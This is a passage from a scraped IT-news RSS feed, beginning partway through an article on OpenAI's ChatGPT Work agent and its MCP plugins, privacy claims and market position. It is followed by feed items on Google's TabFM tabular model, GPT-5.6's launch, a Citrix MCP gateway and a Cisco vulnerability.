you, and this is available across all of our paid tiers," Geri said. "All Plus users are getting this. I think that's a very unique aspect of this."</p><p>The mobile-first aspect of the launch is something Geri described as "missing from the market." He pointed to the ability to create a website on a phone and share it with collaborators as a particularly novel capability. "Sites are new in general to Codex. They launched in Codex about a week and a half ago, but now we're launching also in web and mobile. You can create a site on your phone at the beach and share it with your friends," he said.</p><p><a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> will roll out beginning with <a href="https://chatgpt.com/pricing/?utm_source=google&amp;utm_medium=paid_search&amp;utm_campaign=GOOG_C_SEM_GBR_Premium_CHT_BAU_ACQ_PER_MIX_ALL_NAMER_US_EN_081125&amp;c_id=22874197666&amp;c_agid=184333759620&amp;c_crid=778419668389&amp;c_kwid=kwd-1931160859103&amp;c_ims=&amp;c_pms=9061275&amp;c_nw=g&amp;c_dvc=c&amp;gad_source=1&amp;gad_campaignid=22874197666&amp;gbraid=0AAAAA-I0E5eVxMdRuuMlOhjqMjAi2KCBS&amp;gclid=Cj0KCQjwsMLSBhD9ARIsAIpUTDoJ61xQZv3XpwtAkZ20Et-Y9TM9_exet3Bh9O9h2kxVcpfmgHkyx68aAlw-EALw_wcB">Pro, Enterprise, and Edu users</a>, and will expand to Plus and Business users over the next few days. In the interview, Geri emphasized that the availability of the product to Plus subscribers — not just premium tiers — is central to OpenAI's strategy. "It's accessible to all paid plans, including Plus users, which in my opinion is a really big feat, and really part of that OpenAI mission, which is about bringing all this power to as many people," he said.</p><h2><b>How MCP plugins connect ChatGPT Work to Slack, Gmail, and GitHub</b></h2><p>The product relies on MCP-based plugins to connect to external services like Gmail, Google Calendar, Slack, and GitHub. When asked whether the plugin architecture is based on the <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol standard</a>, Geri confirmed: "These are all based on MCP." He added that connecting multiple Gmail accounts — a frequent user request — "is definitely on the roadmap."</p><p>The experience is designed to be action-oriented from the first interaction. <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> offers a personalized onboarding flow that surfaces different suggested use cases depending on the user's role. Geri demonstrated how the system, detecting his role as a product manager, immediately suggested tasks like evaluating AI systems, building research artifacts, and managing his calendar. "You can start with a simple task like catch me up on Slack or Teams or read today's calendar," Geri said. He described a scenario where the system reviewed his calendar, identified scheduling conflicts, flagged meetings requiring preparation, and then — on his instruction — declined, accepted, or rescheduled events directly.</p><p>Users can also customize the agent by teaching it their writing style, organizing outputs into projects, and — in a lighter touch — choosing a virtual pet that accompanies them in the interface. The interface also introduces a hosted website feature that allows users to build and share interactive sites directly through ChatGPT Work, turning what would typically be a static slide deck into a dynamic, collaborative artifact. "Now we suddenly have a collaborative interface that's actually more exciting and more accessible than a slide deck, which has all these formatting restrictions," Geri said.</p><h2><b>Scheduling 10 bug bashes at once: what agentic productivity looks like in practice</b></h2><p>Geri's own usage of <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> illustrates the breadth of tasks the system can handle. In the run-up to the product's launch, he needed to organize pre-release testing sessions — known internally as "bug bashes" — across dozens of features and team members.</p><p>"I just come to ChatGPT Work and say, 'Set up a bug bash for all the distinct features in ChatGPT Work. Add all the people that worked on that feature,' and it can check Slack, it can check GitHub, it can check Docs, and find a time that works for the four highest contributors to that feature," Geri said. "It went and scheduled 10 bug bashes, all coordinated across all those different people. That would have taken me 30 minutes at least."</p><p>But Geri pushed back against the characterization that <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> is limited to rote administrative work. He described using it for analytically complex tasks like identifying the biggest causes of user churn for specific product features and generating product solutions — work he said would previously have taken months. "Things that we would have spent three months doing, we can now spend a week doing — and do much more, and make a much better product," Geri said. "Bugs that we would have found three or four weeks from now, we can now find within two days and fix for our users."</p><p>He also described handing off the tedium of product testing itself. "It used to be that even though like the most interesting part of my job is like what to test, I would actually end up having to spend most of my job doing the testing, which is like me taking a mouse and like clicking on the same thing over and over again, like five times," Geri said. "Instead, now I can define what do we want to test, and ChatGPT Work or Codex can actually go test it for me, deliver me that bug report, and then we can work on fixing that bug."</p><h2><b>What OpenAI says about data privacy when AI reads your Slack and email</b></h2><p>When pressed on data privacy concerns — given that ChatGPT Work pulls sensitive information from workplace tools like Slack, Google Drive, and email — Geri said privacy "is incredibly important, and the most important part of this is it's always in the user's control."</p><p>He pointed to OpenAI's existing enterprise security infrastructure, noting that "enterprise accounts have ZDR, and users can always opt out of letting their conversations help improve future models, which many users do." The comment aligns with assurances OpenAI made when it first launched ChatGPT Enterprise in August 2023, when the company wrote in a blog post that it does "<a href="https://openai.com/index/introducing-chatgpt-enterprise/">not train on your business data or conversations</a>."</p><p>The privacy question carries additional weight now because of the sheer volume of sensitive workplace data ChatGPT Work is designed to access. Unlike a chatbot session where a user voluntarily pastes text into a prompt, ChatGPT Work actively reaches into connected systems — reading Slack messages, scanning calendar invitations, pulling GitHub commit histories — to assemble context for its tasks. That represents a fundamentally different data surface area than anything OpenAI has offered before, and one that enterprise security teams will scrutinize carefully before granting access.</p><h2><b>ChatGPT Work enters a three-way arms race with Anthropic and Microsoft</b></h2><p>ChatGPT Work lands squarely in the middle of what has become the defining competitive battlefield in enterprise AI: the race to build autonomous workplace agents that can go beyond generating text and actually execute tasks.</p><p>The product arrives months after Anthropic took <a href="https://claude.com/product/cowork">Claude Cowork</a> out of preview and into general availability in April, bringing its AI agent to web and mobile platforms aimed at helping enterprise users monitor and manage long-running AI-driven tasks from anywhere. Meanwhile, Microsoft made <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/cowork">Copilot Cowork</a> generally available worldwide on June 16, built in partnership with Anthropic to move beyond chat and into execution. The three products — ChatGPT Work, Claude Cowork, and Microsoft Copilot Cowork — now compete directly for the attention of enterprise IT departments and individual knowledge workers alike.</p><p>The convergence is striking. All three products share a remarkably similar vision: a persistent AI agent running in the cloud that can break complex tasks into steps, connect to workplace tools via plugins, and produce finished outputs rather than just conversational replies. All three work across desktop, web, and mobile.</p><p>What distinguishes OpenAI's approach is its raw consumer distribution advantage. ChatGPT has reached <a href="https://openai.com/index/scaling-ai-for-everyone/">900 million weekly active users</a>, and OpenAI now has <a href="https://openai.com/index/scaling-ai-for-everyone/">50 million paying subscribers</a>. More than 9 million paying business users rely on ChatGPT for work, and 92% of Fortune 500 companies now use ChatGPT. By making ChatGPT Work available to Plus subscribers at $20 a month — not just Enterprise or Pro customers — OpenAI is betting that broad accessibility will drive adoption faster than any competitor can match.</p><h2><b>OpenAI's product manager says AI is a partner, not a replacement — with a caveat</b></h2><p>When asked about the potential impact on the labor market, Geri was careful with his framing. He declined to speak broadly about workforce disruption but offered his personal experience as a product manager whose day-to-day work has been substantially reshaped by the tool.</p><p>"My job is not to schedule bug bashes and find out who contributed to a specific feature. That's a task I do in my job, but that's not my job," Geri said. "My job is to make an amazing product." He described ChatGPT Work as "a partner" and "an extension of me, certainly not a replacement," adding: "Everybody feels far more productive than before, but is also almost working harder than before, because you get to work on all the things you want to work on as opposed to the drudgery around it."</p><p>But Geri was also careful not to minimize the sophistication of the work the agent can handle. "I also don't want to say that it's only doing mundane tasks because, like something like hill climbing retention curves on a given feature is not mundane. It's actually really hard to do," he said. The distinction matters. If <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> were merely automating calendar invitations and expense reports, it would be a convenience tool. The fact that Geri describes it compressing three months of analytical product work into a single week suggests something with far greater implications for how teams are structured and staffed.</p><h2><b>An IPO-bound company needs ChatGPT Work to prove enterprise AI can generate revenue</b></h2><p>The timing of ChatGPT Work's launch is impossible to separate from OpenAI's IPO trajectory. The company needs to demonstrate that it can convert its massive consumer user base into durable enterprise revenue — a narrative that becomes significantly more compelling with a product explicitly designed around professional workflows.</p><p>OpenAI said it is generating <a href="https://openai.com/index/accelerating-the-next-phase-ai/">$2 billion in revenue per month</a>, growing four times faster than Alphabet and Meta did at comparable stages, with enterprise now making up more than 40% of revenue and on track to reach parity with consumer by the end of 2026. But OpenAI remains heavily loss-making, and <a href="https://fortune.com/2025/11/26/is-openai-profitable-forecast-data-center-200-billion-shortfall-hsbc/">the company does not expect to reach profitability until around 2030</a>, with internal projections suggesting losses of $14 billion in 2026 alone.</p><p>The competitive dynamics are unprecedented. Anthropic filed for its own IPO on June 1 at a <a href="https://www.reuters.com/business/anthropic-raises-65-billion-now-valued-965-billion-2026-05-28/">$965 billion valuation</a>, setting up simultaneous public listings from the two most prominent AI startups in history. Whether both can sustain their lofty valuations under the scrutiny of public market investors will depend in large part on whether products like ChatGPT Work and Claude Cowork deliver measurable productivity gains to paying enterprise customers.</p><p>The launch also caps a product trajectory that began with <a href="https://chatgpt.com/business/?utm_source=google&amp;utm_medium=paid_search&amp;utm_campaign=GOOG_B_SEM_GBR_Core-Generic_MIX_BAU_ACQ_PER_MIX_ALL_NAMER_US_EN_042826&amp;c_id=23786098075&amp;c_agid=193601180617&amp;c_crid=806361782592&amp;c_kwid=aud-2471394551488:kwd-1933117063409&amp;c_ims=&amp;c_pms=9061275&amp;c_nw=g&amp;c_dvc=c&amp;gad_source=1&amp;gad_campaignid=23786098075&amp;gbraid=0AAAAA-I0E5fOwq9zncww98G13-WJxCPbT&amp;gclid=Cj0KCQjwsMLSBhD9ARIsAIpUTDonc5DPxzLgOO1GFI9yNaazBtf33Yums0oGIg1CR79ZRSiXK0LbcVkaAg9uEALw_wcB">ChatGPT Enterprise</a> in August 2023, accelerated through the release of OpenAI's Operator agent in January 2025, and continued through Operator's deprecation and shutdown on August 31, 2025, when its capabilities were folded into the ChatGPT agent framework. ChatGPT Work is the consolidation of those efforts into a single, unified product — one that pairs <a href="https://openai.com/index/gpt-5-6/">GPT-5.6's three model variants</a> (Sol for power, Luna for speed, and Terra for balanced everyday use) with a persistent cloud environment and an expanding library of MCP plugins.</p><h2><b>The future of work may already be running in the cloud</b></h2><p>When asked whether ChatGPT Work signals a shift toward a new kind of operating system — one where users interact with their computers primarily through an AI agent rather than through traditional mouse-and-keyboard interfaces — Geri stopped short of making sweeping predictions. But he hinted at the direction OpenAI sees ahead.</p><p>"Anybody who has worked with Codex or now ChatGPT Work will realize how exciting it is to interact with your environment and your computer via the agent," he said. "Especially in the desktop app, where the model has access to your entire machine and can interact with websites on your behalf — it's really able to be an extension of you and a real partner, and that certainly feels like the future."</p><p>At the end of the interview, Geri circled back to something personal. "I've never enjoyed work as much as I have in the last month using ChatGPT Work and Codex," he said — a striking admission from a product manager who, until recently, spent a meaningful share of his days clicking through the same interface five times in a row just to see if it would break. OpenAI is now asking 900 million users to believe that feeling scales. For a company weeks away from one of the largest public offerings in history, the answer to that question is worth roughly $850 billion.</p><p>
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<title><![CDATA[IT Security News Hourly Summary 2026-07-10 21h : 5 posts]]></title>
<description><![CDATA[5 posts were published in the last hour 18:32 : Top 6 Managed Detection and Response Providers 18:32 : Top 10 Best Unified Threat Management (UTM) Solutions in 2026 18:32 : One WhatsApp Message Turns OpenClaw Into a Remote Access…
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<link>https://tsecurity.de/de/3660653/it-security-nachrichten/it-security-news-hourly-summary-2026-07-10-21h-5-posts/</link>
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<pubDate>Fri, 10 Jul 2026 21:08:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>5 posts were published in the last hour 18:32 : Top 6 Managed Detection and Response Providers 18:32 : Top 10 Best Unified Threat Management (UTM) Solutions in 2026 18:32 : One WhatsApp Message Turns OpenClaw Into a Remote Access…</p>
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<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-10-21h-5-posts/">IT Security News Hourly Summary 2026-07-10 21h : 5 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Top 10 Best Unified Threat Management (UTM) Solutions in 2026]]></title>
<description><![CDATA[If you need one appliance that handles firewalling, intrusion prevention, VPN, antivirus, and web filtering without a security team to run it, Fortinet FortiGate is our top UTM pick for 2026, with Sophos Firewall the strongest choice when you also…
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The post Top 10 Best Unified Threat ...]]></description>
<link>https://tsecurity.de/de/3660617/it-security-nachrichten/top-10-best-unified-threat-management-utm-solutions-in-2026/</link>
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<pubDate>Fri, 10 Jul 2026 20:35:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you need one appliance that handles firewalling, intrusion prevention, VPN, antivirus, and web filtering without a security team to run it, Fortinet FortiGate is our top UTM pick for 2026, with Sophos Firewall the strongest choice when you also…</p>
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<p>The post <a href="https://www.itsecuritynews.info/top-10-best-unified-threat-management-utm-solutions-in-2026/">Top 10 Best Unified Threat Management (UTM) Solutions in 2026</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Google's TabFM skips per-dataset training and still predicts on tables it's never seen]]></title>
<description><![CDATA[The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines...]]></description>
<link>https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</guid>
<pubDate>Fri, 10 Jul 2026 20:03:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines to fight data drift. Google Research is proposing a way around that: <a href="https://research.google/blog/introducing-tabfm-a-zero-shot-foundation-model-for-tabular-data/">a new foundation model called TabFM</a> that treats tabular prediction as an in-context learning problem instead.</p><p>It can generate predictions for a new, unseen table in a single forward pass. For enterprise developers and AI engineers, this reduces the time-to-production from weeks of pipeline engineering to a single API call.</p><h2>The challenge with traditional ML</h2><p>To extract reliable predictions from a gradient-boosted tree, data scientists must build and maintain complex data pipelines. They have to clean messy inputs, impute missing values, encode categorical variables into numerical formats, and engineer custom feature crosses.</p><p>Once the data is ready, they must run repetitive hyperparameter optimization loops, searching across learning rates, tree depths, subsampling ratios, and regularization grids to find the best configuration. </p><p>Once deployed, these traditional models "incur ongoing operational debt through data drift monitoring and retraining pipelines to stay accurate," Weihao Kong, Research Scientist at Google Research, told VentureBeat.</p><p>Meanwhile, the rest of the AI industry has moved on. Generative AI models for text and computer vision have seamlessly shifted to zero-shot inference, where a model can perform a completely new task simply by being prompted with context. </p><p>Large language models (LLMs) already excel at <a href="https://venturebeat.com/business/fine-tuning-vs-in-context-learning-new-research-guides-better-llm-customization-for-real-world-tasks">in-context learning</a>, so why can't we just feed tables into an off-the-shelf LLM?</p><p>Because LLMs are trained on natural language rather than structured data, they struggle to process tables directly. First, their context limits are exhausted quickly by medium-sized tables containing just a few thousand rows and hundreds of columns. Second, LLMs suffer from tokenization inefficiency, awkwardly splitting numerical values and destroying mathematical precision. Finally, they suffer from structural blindness. When a 2D table is serialized as a 1D text string, LLMs lose track of which value belongs to which row and column as the table grows. </p><p>"That's why, today, it is far more effective to use an LLM to write the code that handles feature engineering and calls XGBoost than to ask the LLM to read the table itself," Kong said.</p><h2>What is TabFM?</h2><p>To run inference with TabFM, you do not update any model weights. Instead, you take your historical examples (the training rows with their known labels) and your target rows (the new data you want to predict) and pass them to the model as a single, unified prompt. The model learns to interpret the relationships between columns and rows directly from this context at runtime.</p><p>For example, consider an enterprise analyst trying to predict customer churn. Instead of building a bespoke data pipeline and training an XGBoost model, they can simply pass a sample of historical user session data alongside a new, active session into TabFM. In one forward pass, the model returns an instant churn probability. </p><p>TabFM overcomes the limitations of LLMs by treating the data as a grid, preserving its structural integrity without forcing it into a single-dimensional text string.</p><p>To effectively process diverse tabular structures while enabling scalable zero-shot prediction, TabFM synthesizes the strengths of earlier experimental architectures, TabPFN and TabICL. <a href="https://github.com/PriorLabs/tabpfn">TabPFN</a>, developed by Prior Labs, first proved that a transformer architecture could perform zero-shot classification on small tables, though it struggled to scale computationally to larger datasets. </p><p>Later, <a href="https://dl.acm.org/doi/10.5555/3780338.3782366">TabICL</a>, developed by France's National Research Institute for Digital Science and Technology, addressed this bottleneck by introducing row compression, allowing in-context learning to efficiently process much larger tables. </p><p>TabFM combines TabPFN's deep feature contextualization with TabICL's efficient compression into a novel hybrid design built on three key mechanisms:</p><p><b>1. Alternating row and column attention:</b> The raw table is first processed through a multilayer attention module that alternates across both columns (features) and rows (examples). By continuously attending across these two dimensions, the model natively captures complex feature interactions. This deep contextualization does the heavy lifting that would usually require tedious manual feature crafting by data scientists.</p><p><b>2. Row compression:</b> Following this contextualization, the cross-attended information for each row is compressed into a single, dense vector representation. TabICL pioneered this by using CLS tokens to compress a row's rich information into one vector, "in contrast to TabPFN v2, v2.5, and v2.6, which attend over the full cell grid throughout the network," Kong explained. This drastically shrinks the computational footprint.</p><p><b>3. In-context learning (ICL):</b> A causal Transformer then operates on this sequence of compressed embeddings. This Transformer model uses the attention mechanism of TabICL to attend over these dense row vectors, drastically reducing the computation cost and allowing the model to process large datasets efficiently.</p><p>A major selling point of TabFM is its pretraining recipe. The model was trained entirely on hundreds of millions of synthetic datasets. These datasets were dynamically generated using structural causal models (SCMs) that incorporate a wide variety of random functions. By training exclusively on synthetic SCMs, TabFM learned the fundamental mathematical priors of how tabular features interact without ingesting real-world, confidential CSV files.</p><h2>TabFM in action</h2><p>To test the model's capabilities, Google researchers benchmarked TabFM on TabArena, a comprehensive evaluation suite spanning 51 diverse tabular datasets across 38 classification and 13 regression tasks.</p><p>On these public benchmarks, TabFM's zero-shot predictions already match or beat heavily tuned supervised baselines. However, Google is careful to note that this does not automatically mean TabFM will universally dethrone bespoke, hyper-optimized production models on every enterprise workload.</p><p>"Instead of replacing hyper-optimized production models, the true practical business value it unlocks for lean engineering teams is velocity," Kong said. "It allows data analysts and backend engineers to instantly spin up high-quality baseline models without a dedicated data science team managing a complex lifecycle."</p><p>For advanced practitioners looking to squeeze out maximum accuracy, the research team also introduced a "TabFM-Ensemble" configuration. By running the model through 32 distinct variations and blending the results, TabFM pushes the performance even further. </p><h2>Getting started, trade-offs, and the cloud future</h2><p>The shift to in-context learning for tables introduces a new economic trade-off that engineering teams must consider. </p><p>With traditional algorithms, training is slow and expensive, but inference is lightning-fast and cheap. TabFM flips this dynamic. While training time drops to zero, inference becomes significantly heavier. Because the model must process the entire historical dataset as context during every single prediction, it requires more compute and memory at runtime. </p><p>In this new paradigm, "traditional machine learning training becomes the 'prefill' phase (KV caching) in the context window," Kong said. While this prefill cost is steep, it is paid only once per table, and the cache is reused across subsequent queries. "The catch is prediction latency, which no amount of caching removes," Kong added. Every new prediction requires a pass through a large transformer. "Any production API requiring single-digit-millisecond response times cannot tolerate TabFM's forward-pass overhead."</p><p>For developers looking to evaluate the model today, the barrier to entry is low. Google designed TabFM as a drop-in replacement for traditional ML workflows, offering a scikit-learn compatible API (TabFMClassifier and TabFMRegressor). It natively handles mixed numerical and categorical columns, works directly with pandas DataFrames, and requires no manual ordinal encoders or numerical scalers. The library supports both JAX and PyTorch backends.</p><p>However, enterprise teams need to be aware of current limitations and licensing restrictions. The model architecture has a hard limit of 10 output classes for classification tasks, and it is optimized for tables with up to 500 features. More importantly, while Google released the <a href="https://github.com/google-research/tabfm">underlying codebase</a> under the permissive Apache 2.0 license, the pre-trained model weights are published on <a href="https://huggingface.co/google/tabfm-1.0.0-pytorch">Hugging Face</a> under a strict tabfm-non-commercial-v1.0 license. Developers can evaluate the model internally, but it cannot be deployed in commercial products yet.</p><p>Looking ahead, Google is addressing the commercial deployment friction through its cloud ecosystem. TabFM is being integrated directly into Google BigQuery, allowing analysts to run zero-shot predictions natively via an “AI.PREDICT” command. By putting foundation model inference right next to the data warehouse, TabFM could soon make complex tabular machine learning as accessible as a basic database query.</p><p>In practice, TabFM shines in rapid prototyping, high data drift environments, and small to medium-sized datasets under 100,000 rows. Conversely, teams should stick to traditional models for strict, ultra-low latency APIs, or massive tables exceeding one million rows, which currently require aggressive row sampling that degrades the foundation model's competitive advantage.</p>]]></content:encoded>
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<title><![CDATA[Top 10 Best Unified Threat Management (UTM) Solutions in 2026]]></title>
<description><![CDATA[If you need one appliance that handles firewalling, intrusion prevention, VPN, antivirus, and web filtering without a security team to run it, Fortinet FortiGate is our top UTM pick for 2026, with Sophos Firewall the strongest choice when you also run Sophos endpoints. Unified threat management (...]]></description>
<link>https://tsecurity.de/de/3660223/it-security-nachrichten/top-10-best-unified-threat-management-utm-solutions-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660223/it-security-nachrichten/top-10-best-unified-threat-management-utm-solutions-in-2026/</guid>
<pubDate>Fri, 10 Jul 2026 17:40:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you need one appliance that handles firewalling, intrusion prevention, VPN, antivirus, and web filtering without a security team to run it, Fortinet FortiGate is our top UTM pick for 2026, with Sophos Firewall the strongest choice when you also run Sophos endpoints. Unified threat management (UTM) consolidates multiple network security functions into a single […]</p>
<p>The post <a href="https://cybersecuritynews.com/best-unified-threat-management-solutions/">Top 10 Best Unified Threat Management (UTM) Solutions in 2026</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Citrix NetScaler MCP Gateway Adds Unified Security for Agentic AI Traffic]]></title>
<description><![CDATA[Citrix, a Cloud Software Group company, has introduced Model Context Protocol (MCP) Gateway capabilities for NetScaler, extending its application delivery and security platform to govern enterprise agentic AI traffic. Announced on July 9, 2026, the update allows organizations to centrally route, ...]]></description>
<link>https://tsecurity.de/de/3659435/it-security-nachrichten/citrix-netscaler-mcp-gateway-adds-unified-security-for-agentic-ai-traffic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659435/it-security-nachrichten/citrix-netscaler-mcp-gateway-adds-unified-security-for-agentic-ai-traffic/</guid>
<pubDate>Fri, 10 Jul 2026 12:53:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Citrix, a Cloud Software Group company, has introduced Model Context Protocol (MCP) Gateway capabilities for NetScaler, extending its application delivery and security platform to govern enterprise agentic AI traffic. Announced on July 9, 2026, the update allows organizations to centrally route, authenticate, monitor, and control AI agent requests to backend MCP servers. Citrix also expanded […]</p>
<p>The post <a href="https://cyberpress.org/citrix-netscaler-mcp-gateway/">Citrix NetScaler MCP Gateway Adds Unified Security for Agentic AI Traffic</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[OpenAI Launches GPT-5.6, ChatGPT Work, and New Desktop App With Built-In Codex]]></title>
<description><![CDATA[OpenAI has introduced one of its biggest ChatGPT updates yet by launching GPT-5.6, a new ChatGPT Work agent, an upgraded desktop app with Codex built in, and a hosted sites feature for paid users. 



The announcement marks the next stage of ChatGPT's evolution as OpenAI brings coding tools, AI a...]]></description>
<link>https://tsecurity.de/de/3658954/ios-mac-os/openai-launches-gpt-56-chatgpt-work-and-new-desktop-app-with-built-in-codex/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658954/ios-mac-os/openai-launches-gpt-56-chatgpt-work-and-new-desktop-app-with-built-in-codex/</guid>
<pubDate>Fri, 10 Jul 2026 09:10:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI has introduced one of its biggest ChatGPT updates yet by launching GPT-5.6, a new ChatGPT Work agent, an upgraded desktop app with Codex built in, and a hosted sites feature for paid users. 



The announcement marks the next stage of ChatGPT's evolution as OpenAI brings coding tools, AI agents, and everyday productivity features together inside a single experience. Alongside these changes, the company has also introduced a new naming system for its AI models with Sol, Terra, and Luna.



GPT-5.6 arrives with three different capability tiers designed for different types of users. Sol serves as OpenAI's flagship model for advanced work, Terra focuses on balanced everyday performance, and Luna delivers faster responses at a lower cost. 



OpenAI says the new naming system makes it easier for users and developers to understand the balance between intelligence, speed, and pricing, while the GPT-5.6 generation number identifies the overall model family.



OpenAI says the rollout of all three GPT-5.6 models will continue over the next 24 hours across ChatGPT and its developer platform.



GPT-5.6 introduces ChatGPT Work, Ultra mode, and a unified desktop experience




https://www.youtube.com/watch?v=Wq45rvPGNHs




The biggest addition is ChatGPT Work, a new AI agent available on the web, desktop, and mobile. Instead of acting as a standard chatbot, ChatGPT Work helps users complete larger tasks while giving them access to different GPT-5.6 models and adjustable effort levels depending on the complexity of the job.



Another major update arrives on desktop. OpenAI has merged Codex into the ChatGPT desktop app for both macOS and Windows, allowing users to switch between regular ChatGPT conversations, ChatGPT Work, and Codex from a single application. Existing Codex users can keep their projects, settings, and workflows after updating, while macOS users can still choose the familiar Codex app icon.




"GPT-5.6 Sol sets a new standard for both intelligence and efficiency, achieving state-of-the-art results across coding, knowledge work, cybersecurity, and science while outperforming previous and competing frontier models with fewer tokens and at lower estimated cost. We also introduce a new way to accelerate the most demanding work: ultra is our highest-capability setting, coordinating multiple agents across parallel workstreams to finish complex tasks faster."




OpenAI also says GPT-5.6 delivers much stronger design judgment than previous models. The company explains that the model creates cleaner and more functional interfaces from high-level instructions while inspecting the rendered results to identify visual or functional issues before returning the finished work.



The updated desktop app also adds several developer-focused improvements that simplify software development without leaving ChatGPT.





Edit Markdown files and source code directly inside the app with inline annotations.



Review GitHub pull requests in a built-in sidebar alongside reviewer comments.



Work across multiple repositories within a single project.



Faster Computer Use performance powered by GPT-5.6.



Better task tracking and progress updates while Codex completes requests.



Simpler plugin management through Settings.



Improved mobile connectivity along with fixes for SSH project video rendering.





Availability depends on the subscription plan. Plus, Pro, Business, and Enterprise users receive access to GPT-5.6 Sol in ChatGPT, while Pro and Enterprise subscribers can also select GPT-5.6 Sol Pro for demanding workloads. 



Free and Go users receive GPT-5.6 Terra inside ChatGPT Work and Codex, while paid subscribers can switch between Sol, Terra, and Luna. OpenAI has also enabled Ultra mode for Pro and Enterprise users in ChatGPT Work, while Codex offers Ultra mode for Plus plans and above.




https://www.youtube.com/watch?v=yRc5HcGJ-Cs




Developers can access all three GPT-5.6 models through the OpenAI API. OpenAI has also introduced Programmatic Tool Calling and a beta Multi-agent feature that allows GPT-5.6 to run multiple subagents simultaneously before combining the results into a single response. API pricing starts at $5 per one million input tokens and $30 per one million output tokens for Sol, while Terra costs $2.50 and $15, and Luna costs $1 and $6 respectively.




https://twitter.com/Gavmn/status/2075272975818080645




Alongside today's launch, OpenAI confirmed that GPT-5.4 will retire on July 23 following the rollout of GPT-5.6, while the GPT-5.5 models will continue to remain available. The company also introduced hosted sites for paid users, completing a broader update that brings AI agents, coding workflows, and desktop productivity into one unified ChatGPT platform.]]></content:encoded>
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<title><![CDATA[SSRF-Schwachstelle in Cisco Unified CM in Angriffen genutzt]]></title>
<description><![CDATA[Aktive Angriffe auf Cisco Unified CM laufen. Eine SSRF-Schwachstelle ermöglicht unter Umständen Root-Zugriff auf Systeme. Schnelles Patchen und das Deaktivieren betroffener Dienste sind entscheidend.]]></description>
<link>https://tsecurity.de/de/3658800/it-security-nachrichten/ssrf-schwachstelle-in-cisco-unified-cm-in-angriffen-genutzt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658800/it-security-nachrichten/ssrf-schwachstelle-in-cisco-unified-cm-in-angriffen-genutzt/</guid>
<pubDate>Fri, 10 Jul 2026 07:23:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Aktive Angriffe auf Cisco Unified CM laufen. Eine SSRF-Schwachstelle ermöglicht unter Umständen Root-Zugriff auf Systeme. Schnelles Patchen und das Deaktivieren betroffener Dienste sind entscheidend.]]></content:encoded>
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<title><![CDATA[OpenAI Rolls Out GPT-5.6 After Government Greenlight, Announces 'ChatGPT Work']]></title>
<description><![CDATA[OpenAI has received approval from the Trump administration to publicly roll out GPT-5.6 after an earlier limited preview restricted access to government-approved organizations. The company also launched ChatGPT Work, a new GPT-5.6-powered agent that combines ChatGPT and Codex-style capabilities. ...]]></description>
<link>https://tsecurity.de/de/3658135/it-security-nachrichten/openai-rolls-out-gpt-56-after-government-greenlight-announces-chatgpt-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658135/it-security-nachrichten/openai-rolls-out-gpt-56-after-government-greenlight-announces-chatgpt-work/</guid>
<pubDate>Thu, 09 Jul 2026 22:08:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
